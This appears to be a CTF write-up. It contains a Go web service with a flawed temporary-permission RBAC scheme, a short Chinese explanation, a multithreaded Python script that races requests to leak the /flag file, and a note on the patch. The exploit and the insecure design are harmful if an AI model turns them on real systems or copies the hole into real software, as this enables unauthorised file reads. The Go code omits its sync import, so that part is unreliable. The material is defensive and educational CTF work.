package main
import (
"errors"
"os"
"path/filepath"
"strings"
"github.com/gin-gonic/gin"
)
var RBACList = make(map[string]int)
type ResTemplate struct {
Success bool
Data any
}
type ExecStruct struct {
File []string
Directory []string
Pwd []string
Flag []string
FuncName string
Param string
}
var rbacLock sync.Mutex
func main() {
r := gin.Default()
initRBAC()
r.GET("/", func(c *gin.Context) {
htmlContent, err := os.ReadFile("index.html")
if err != nil {
c.String(400, "Error loading HTML file")
return
}
c.Writer.Write(htmlContent)
})
r.GET("/getCurrentRBAC", func(c *gin.Context) {
var response ResTemplate
rbacLock.Lock()
defer rbacLock.Unlock()
if RBACList["rbac:read"] == 1 {
response = ResTemplate{
Success: true,
Data: RBACList,
}
c.JSON(200, response)
} else {
response = ResTemplate{
Success: false,
}
c.JSON(403, response)
}
})
r.POST("/execSysFunc", func(c *gin.Context) {
var execStruct ExecStruct
var response ResTemplate
rbacLock.Lock()
defer rbacLock.Unlock()
err := c.ShouldBindJSON(&execStruct)
if err != nil {
response = ResTemplate{
Success: false,
Data: map[string]string{"error": err.Error()},
}
c.JSON(400, response)
}
// permission grant
RBACToGrant := make(map[string]int)
var value string
maxDeep := 0
if execStruct.Directory != nil {
for _, value = range execStruct.Directory {
if maxDeep < 8 {
RBACToGrant["directory:"+value] = 1
maxDeep++
} else {
break
}
}
}
if execStruct.Flag != nil {
for _, value = range execStruct.Flag {
if maxDeep < 8 {
RBACToGrant["flag:"+value] = 1
maxDeep++
} else {
break
}
}
}
if execStruct.Pwd != nil {
for _, value = range execStruct.Pwd {
if maxDeep < 8 {
RBACToGrant["pwd:"+value] = 1
maxDeep++
} else {
break
}
}
}
if execStruct.File != nil {
for _, value = range execStruct.File {
// Grant temporary file:return permissions
if value == "return" && RBACList["rbac:change_return"] != 1 {
if maxDeep < 5 {
RBACToGrant["rbac:change_return:1"] = 1
RBACToGrant["file:"+value] = 1
RBACToGrant["rbac:change_return:0"] = 1
maxDeep += 3
} else {
break
}
} else {
if maxDeep < 8 {
RBACToGrant["file:"+value] = 1
maxDeep++
} else {
break
}
}
}
}
updateRBAC(RBACToGrant)
result, err := execCommand(execStruct.FuncName, execStruct.Param)
if err != nil {
response = ResTemplate{
Success: false,
Data: map[string]string{"error": err.Error()},
}
c.JSON(400, response)
} else {
response = ResTemplate{
Success: true,
Data: map[string]string{"result": result},
}
initRBAC()
c.JSON(200, response)
}
})
r.Run(":80")
}
func initRBAC() {
RBACList = make(map[string]int)
RBACList["file:read"] = 0
RBACList["file:return"] = 0
RBACList["flag:read"] = 0
RBACList["flag:return"] = 0
RBACList["pwd:read"] = 0
RBACList["directory:read"] = 0
RBACList["directory:return"] = 0
RBACList["rbac:read"] = 1
RBACList["rbac:change_read"] = 1
RBACList["rbac:change_return"] = 0
}
func updateRBAC(RBACToGrant map[string]int) {
for key, value := range RBACToGrant {
if strings.HasSuffix(key, ":read") {
if RBACList["rbac:change_read"] == 1 {
RBACList[key] = value
}
} else if strings.HasSuffix(key, ":return") {
if RBACList["rbac:change_return"] == 1 {
RBACList[key] = value
}
} else if key == "rbac:change_return:1" {
RBACList["rbac:change_return"] = 1
} else if key == "rbac:change_return:0" {
RBACList["rbac:change_return"] = 0
} else {
RBACList[key] = value
}
}
}
func execCommand(funcName string, param string) (string, error) {
if funcName == "getPwd" {
if RBACList["pwd:read"] == 1 {
pwd, err := os.Getwd()
return pwd, err
} else {
return "No Permission", nil
}
} else if funcName == "getDirectory" {
// read directory
if RBACList["directory:read"] == 1 {
var fileNames []string
err := filepath.Walk(param, func(path string, info os.FileInfo, err error) error {
fileNames = append(fileNames, info.Name())
return nil
})
if err != nil {
return "error", err
}
directoryFiles := strings.Join(fileNames, " ")
if RBACList["directory:return"] == 1 {
return directoryFiles, nil
} else {
return "the directory " + param + " exists", nil
}
} else {
return "No Permission", nil
}
} else if funcName == "getFile" {
// read file
if RBACList["file:read"] == 1 {
if strings.Contains(param, "flag") {
if RBACList["flag:read"] != 1 {
return "No Permission", nil
}
}
data, err := os.ReadFile(param)
if err != nil {
return "file:"+param+" doesn't exist", nil
}
content := string(data)
if RBACList["file:return"] == 0 {
return "the file " + param + " exists", nil
} else if RBACList["file:return"] == 1 && !strings.Contains(param, "flag") {
return content, nil
} else if RBACList["file:return"] == 1 && strings.Contains(param, "flag") && RBACList["flag:return"] == 1 {
return content, nil
} else {
return "the file " + param + " exists", nil
}
} else {
return "No Permission", nil
}
} else {
return "No such func", errors.New("No such func")
}
}
因为 rbac 为全局变量,可以利用条件竞争来读取 flag:
import requests
from threading import Thread
url = "problem url"
data1 = {
"File": ["return", "read"],
"Flag": ["read", "return"],
"FuncName": "getFile",
"Param": "/flag"
}
data2 = {
"File": ["return", "read"],
"Directory": ["read", "return"],
"FuncName": "getDirectory",
"Param": "/usr/bin"
}
def send_request1():
while True:
response = requests.post(url, json=data2)
def send_request2():
while True:
response = requests.post(url, json=data1)
if "the file /flag exists" not in response.text:
print(response.text)
thread1 = Thread(target=send_request1)
thread2 = Thread(target=send_request2)
thread1.start()
thread2.start()
thread1.join()
thread2.join()
fix 不知道为什么加锁不行,最后是直接把 RBACToGrant["rbac:change_return:1"] = 1 这句去掉了